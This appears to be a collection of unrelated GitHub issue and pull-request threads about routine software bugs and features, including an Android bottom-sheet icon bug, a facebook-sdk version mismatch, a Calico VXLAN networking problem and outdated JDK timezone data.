    minSdkVersion 15
    targetSdkVersion 22
    versionCode 1
    versionName "1.0"
}

Your Sample and my app are not showing icons in grid. My app is using fragments. So when I switch to other fragment and than turn back to previous where is opened! grid - all icons are visible.
Temporarily switched to https://github.com/soarcn/BottomSheet

It shouldn't matter what fragment you're using, bottomsheet is attached to the activity context. That library's implementation is via dialog, which doesn't help debug this either.
What kind of device are you running it on? Android version? Can you breakpoint the sheet and see if the
SheetMenuItem#getMenuItem() at any of those positions returns something for getIcon()? It's a really simple setup with a standard viewholder pattern, so I don't see why this behaves differently than any other gridview.

I've already noticed that MenuSheetView is quite simple and understandable. That's why I don't understand where is the problem. My device is Sony Ericsson Xperia Neo V with android 4.0.4.
I'll try later to follow your suggestions on breakpoint. Strange is that if I switch to other fragment and than turn back to previous where is opened! grid - all icons are visible.
Thanks for help

@demogorgorn we found the source of this issue and fixed it in #41

Aha! Thank you very much!


facebook.py init not supporting version

I installed the python for Facebook class using pip install facebook-sdk. I then used the example from your documentation to start working with it:
import facebook

graph = facebook.GraphAPI(access_token='your_token', version='2.2')

However, I am getting a TypeError:
TypeError: __init__() got an unexpected keyword argument 'version'

This problem is caused due to the fact that in facebook.py that was installed, in method GraphAPI, no version argument is present. This is contrary to what is supported according to your documentation.

pip install facebook-sdk installs version 0.4.0, but the documentation example you are using is for git master. Try installing with pip install git+https://github.com/pythonforfacebook/facebook-sdk@e4f7b25fd5#egg=facebook.


feat: append force-upload option

force-upload optionの追加

upload 失敗するのって，もしかしたら既にファイルあると bucket.upload が失敗するからとか…?

npm run package してなかったからでした。。。＞＜

@kopax-polyconseil
Sorry, I missed this comment and just found yours.
We are using this repository, but as you say there are some issues.
Some issues have been fixed, but I can't vouch for them as it's not a repository I created.
If you share the issues I may be able to fix them.


Touch doesn't work

Description:
Hello, I have problem, I use webvr-polyfill and three js. If I changed mode to vr I can't change position video by touch. Seems like webvr-polyfill misunderstand touches, 'cause I checked examples and it was same.
Additional Information:

webvr-polyfill version: 10.10
Browser name/version/release channel: chrome latest
Operating System: android/ios

There is no standardized functionality for touch input for either WebVR or WebXR; this feature, and the mouse/keyboard input was previously removed in 0.10.0 for parity with the specifications


Consider using more generous page for sr.ht

sourcehut.org is one of the few pages which have images, and it's much bigger than most other pages as a result.
Would you consider something like sr.ht/projects as a more representative sample?
Thanks for listing us, anyway <3

Came here to add sourcehut
While creating the issue I thought "Well, may be Drew already knows about it..."
Yep. Too late 😄


Draft: Quilt support

Implement support for Quilt Loader and Mappings metadata.
Current status is tracked in PolyMC (See https://github.com/PolyMC/PolyMC/pull/185)
TODOs:

[ ] Actually recommend versions

Brought the optimizations from Fabric over to Quilt


What does the option "delayed" mean?

When is payment captured with the “delayed” option?

Hello @magnolia4
Delayed capture happens automatically after a defined period of time after the payment is made.
When you choose the delayed option you will have to define how many days after authorization you want the payment to be captured in other words the delay between the authorization and scheduled auto-capture, specified in hours. You will enter a number from 1 to 7. Number 1 means 24 hours.

Best regards.


Fix Bug in reconcilePublicHoliDays

The issue happened when add 30 business days from "2022-03-04" happened. The result was "2022-04-18". 2022-04-18 is public holiday according to the DayJS getPublicHoliDays method so it should have added 1 more business day and returned 2022-04-19 instead of 2022-04-18.

@jadmsaadaot It may be worthwhile connecting in with @m-prodan and @arielleandrews on some of the other calendar/date related bugs to understand if anything is linked. I noticed some date bugs during Training and Matt noticed one during a demo given today

@mpilchar, @m-prodan any chance you remember the above mentioned bugs? Would definitely be useful to know

To test this Task, While adding a new request, after specifying the start date, check that the due date has correctly factored in holidays and weekends.

Date is now being calculated correctly factoring in Easter Monday Holiday. Closing Ticket


Login to a local instance of mattermost  fails

In my configuration I use mattermost on custom port and seems it runs without https
/msg mattermost login <IP_ADDRESS>:8065 testing <login> <pass>
We encountered an error while connecting to the server

Also, log lack any messages according to login attempts

I added support for this in master.
Could you do a go get -u and try running matterircd with the -mminsecure flag.
This allows http connections and should work with your setup

Yes, I try

Works


dislocker-mac: switch to mbedtls@2

currently dislocker needs mbedtls@2 (or build fails with errormbedtls/config.h file not found)
related: https://github.com/Homebrew/homebrew-core/commit/8f6e935fb3ce5a99c78d9021ebdcd4a8bd9330fb

Merged, bottling in progress. Thanks much, @rinsuki!


Use of red and blue colors in shallow water plots

Currently we use red and blue to distinguish water that started to the left/right of x=0.  We also use these two colors to distinguish shocks/Hugoniot loci versus rarefactions/integral curves.  I wonder if it would be better to change one of these to prevent the reader from thinking that they are somehow related.
For instance, we could just use blue and green in the shallow water plots.

Blue and green seems ok.  Or we could just use 4 shades of blue, 2 on each side of the discontinuity to make it clear that it's all water.


Updating code and using dotnet tool installer for wyam

 Issue by tylerd
Thursday Dec 12, 2019 at 21:36 GMT
Originally opened as https://github.com/Wyamio/PoshWyam/pull/6

Hello, I wanted to use PoshWyam to manage my blog but I found the code and test were not working properly.
Also, I created a GitHub Actions workflow for the project.
Thanks,
Tyler Doerksen

tylerd included the following code: https://github.com/Wyamio/PoshWyam/pull/6/commits

 Comment by daveaglick
Friday Dec 13, 2019 at 02:58 GMT

Thanks! Great work getting everything up to speed.
@wekempf see any reason we can't merge this in? I don't know the first thing about PowerShell, but I'm happy to YOLO merge this for you if it looks good (or feel free to action the PR - just wasn't sure if you were still involved)?


Noteblock update

Change log
Change log in HaoVSort 1.1.0
New

music algorithm ( require NoteBlockAPI ).
add tab completer in sortstop command.

Change

limit length from 1024 to 791.
some error message.
increase speed of random and finish algorithm in normal sort command.
increase performance.
bug fixes.


Alternative to Gmail that works well with the Huginn Email Agent?

I am running huginn on terminal.com and I followed all their steps to allow the email agent access to gmail. No success. Is there an alternative email provider that works well with the huginn email agent?

Any should, but we've mostly tested with Gmail.  Have you tried contacting their support?

Hi @ppalme,
I am using mandrill, but they recently changed their pricing policy. Other options would be http://www.mailgun.com and https://sendgrid.com, both have a free plan for up to 10k and 12k mails per month.
As far as I remember for gmail to work you need to set EMAIL_FROM_ADDRESS to your account address.

In Gmail you can add alternative sender addresses in Settings-Accounts-Send Mail as.

Much appreciate your comments and your help. Thank you.


Raise informative error in to_zarr if unknown chunks

Closes #5144. cc @jakirkham

[x] Tests added / passed
[x] Passes black dask / flake8 dask

Thanks @jrbourbeau! 😄


no vxlan decap when host has multiple network interfaces

The vxlan header is present when using capturing traffic destined for a docker container running on a node with multiple network interfaces. Result is endless TCP Retransmission errors and connection timeout.
Expected Behavior
vxlan headers to be stripped when sent from an interface that crosses subnet boundaries, regardless of host computer having network interface on same subnet or not.
Alternatively, log errors or better document limitations of multi-interface hosts
Current Behavior
vxlan headers are not stripped, tcp connections timeout

Steps to Reproduce (for bugs)

Configure host nodes in kubernetes as documented below
Deploy tcp server on multi-interface node
Deploy client on single interface node
Deploy ksniff pod with tcpdump alongside server
Send request from client to server
Watch packets enter server network without vxlan headers stripped (no decap)

Context
Machine 1:

interface <IP_ADDRESS>/24
Machine 2:
interface <IP_ADDRESS>/24 (primary)
interface <IP_ADDRESS>/24

See attached pcap files of bad TCP SYN with rtran from both ksniff and host tcpdump
calico_pcap.tar.gz
Relevant calico node config values
env:
  # Use Kubernetes API as the backing datastore.
  - name: DATASTORE_TYPE
    value: "kubernetes"
  # Wait for the datastore.
  - name: WAIT_FOR_DATASTORE
    value: "true"
  # Set based on the k8s node name.
  - name: NODENAME
    valueFrom:
      fieldRef:
        fieldPath: spec.nodeName
  # Choose the backend to use.
  - name: CALICO_NETWORKING_BACKEND
    valueFrom:
      configMapKeyRef:
        name: calico-config
        key: calico_backend
  # Cluster type to identify the deployment type
  - name: CLUSTER_TYPE
    value: "k8s,bgp"
  # Auto-detect the BGP IP address.
  - name: IP
    value: "autodetect"
  - name: IP_AUTODETECTION_METHOD
    value: "can-reach=<IP_ADDRESS>"
  # Disable IPIP
  - name: CALICO_IPV4POOL_IPIP
    value: "Never"
  # Enable or Disable VXLAN on the default IP pool.
  - name: CALICO_IPV4POOL_VXLAN
    value: "Always"
  # Set MTU for tunnel device used if ipip is enabled
  - name: FELIX_IPINIPMTU
    valueFrom:
      configMapKeyRef:
        name: calico-config
        key: veth_mtu
  # Set MTU for the VXLAN tunnel device.
  - name: FELIX_VXLANMTU
    valueFrom:
      configMapKeyRef:
        name: calico-config
        key: veth_mtu
  # Set MTU for the Wireguard tunnel device.
  - name: FELIX_WIREGUARDMTU
    valueFrom:
      configMapKeyRef:
        name: calico-config
        key: veth_mtu
  # The default IPv4 pool to create on startup if none exists. Pod IPs will be
  # chosen from this range. Changing this value after installation will have
  # no effect. This should fall within `--cluster-cidr`.
  # - name: CALICO_IPV4POOL_CIDR
  #   value: "<IP_ADDRESS>/16"
  # Disable file logging so `kubectl logs` works.
  - name: CALICO_DISABLE_FILE_LOGGING
    value: "true"
  # Set Felix endpoint to host default action to ACCEPT.
  - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
    value: "ACCEPT"
  # Disable IPv6 on Kubernetes.
  - name: FELIX_IPV6SUPPORT
    value: "false"
  - name: FELIX_HEALTHENABLED
    value: "true"
  - name: FELIX_LOGSEVERITYSCREEN
    value: "error"

Your Environment

Calico version: 3.19
Kubernetes 1.23
Ubuntu 16.04 server

Sorry for the late reply!

The docker containers are running in a kubernetes pod, and the kubernetes version is stated above yes.
Apart from the listed environment configurations above, the calico deployment has not been modified from 3.19 defaults

(I think this is a bug but I want to understand this more before flagging it as such)


tzdata is quite old in jdks

We faced a need of using Cairo TZ, but it appeared that in JDK the old one is used. We checked via tzupdater.jar and found that current JRE tzdata version is tzdata2022g. But latest one in that moment is tzdata2023c.

See https://github.com/adoptium/temurin-build/issues/1057 to resolve.

tzupdater doesn't solve my issue, otherwise I wouldn't come. I need new tzdata built-in in binaries.


chore: enable test for ff

@Lightning00Blade FYI this test is failing if the tests are run on a system in headless mode and not having libraries installed to run headful. I think that we should skip the test in case headless mode is selected?


Witness generation trace for main machine

This issue is an adaptation of https://github.com/chriseth/powdr/issues/133 for the main machine.
In the main machine, the order in which witnesses are generated from which identities is not always the same.
If it is an assembly machine, it strongly depends on the value of the pc.
We could still try to record and replay traces, but also record deviations from previously recorded traces. This creates trees (or DAGs) of traces. The tricky part is to find out what the branch conditions in deviations are.
We could also not have any branch conditions, and just try all successors of a node that were previously recorded. If none of them work, we try all the other identities. This should still be much faster than trying all possible identities.

Implementation notes:
In the main machine, assign IDs to identities and lookup machines.
Create a new component, the ProcessingSequenceOracle.
In the struct:
oracle: ProcessingSequenceOracle

In compute_next_row:
oracle.new_row();
while let Some(identity) = oracle.next() {
  // process identity
  // if successful:
  oracle.identity_successful(identity);
  // if failed:
  oracle.identity_failed(identity)
}

The oracle works as follows:
Initially, next() just iterates through all identities.
It has internal structures:

successful: set of successful calls in the current row
failed: set of failed calls in the current row
cache: map of sets of successful calls to vector of next identities to try
offset: current offset inside that vector

next():

if cache does not have an entry for successful or if "offset" is beyond the vector length, try the next identity that is neither successful nor failed
otherwise, try the vector element at offset and incement offset

identity_successful(identity):

add the identity to  cache[successful]
add the identity to successful

identity_failed(identity):

add the identity to failed

The DAG approach is probably not that useful. What could be useful is to analyze constraints and see if it contains "triggers", i.e. boolean-constrained variables who will enable assignments:
(1 - X) * ... has X = 0 as a trigger. So whenever X is assigned 0, we take a look at this identity.
We can go a step further and see if we have all information required to fully analyze that identity.
What probably also has a very high impact is checking if lookups are "ready to be processed". This of course depends on the lookup, but I think we waste a lot of time querying a lookup with only partial information.

During traversal, it might be sufficient to dynamically return from AffineExpression which witness columns could produce a new result (depending on the operation) and then maybe store them in a bit mask.

@Schaeff how does this relate to powdr2?

I guess this is done.


fly execute seems to strip url's port

Hi,
I'm trying to follow the flight-school tutorial and fly execute behavior seems wrong
since it seems to ignore the port from the api url.
I'm using the default concourse web port (8080) and fly execute fails due to a timeout:
 curl: (7) Failed to connect to ec2-xx-xx-xx-xx.compute-1.amazonaws.com port 80: Connection timed out

Both fly ts and .flyrc reports the url with port 8080
ciao
walter

Hi,
it was a misconfiguration of the concourse web side.
This bug con be closed.
walter


ApplicationHelper#js_multi_lines is unused

May we remove it?

@dclarizio @h-kataria Please review.

@martinpovolny Please review

looks good, this method is not in use.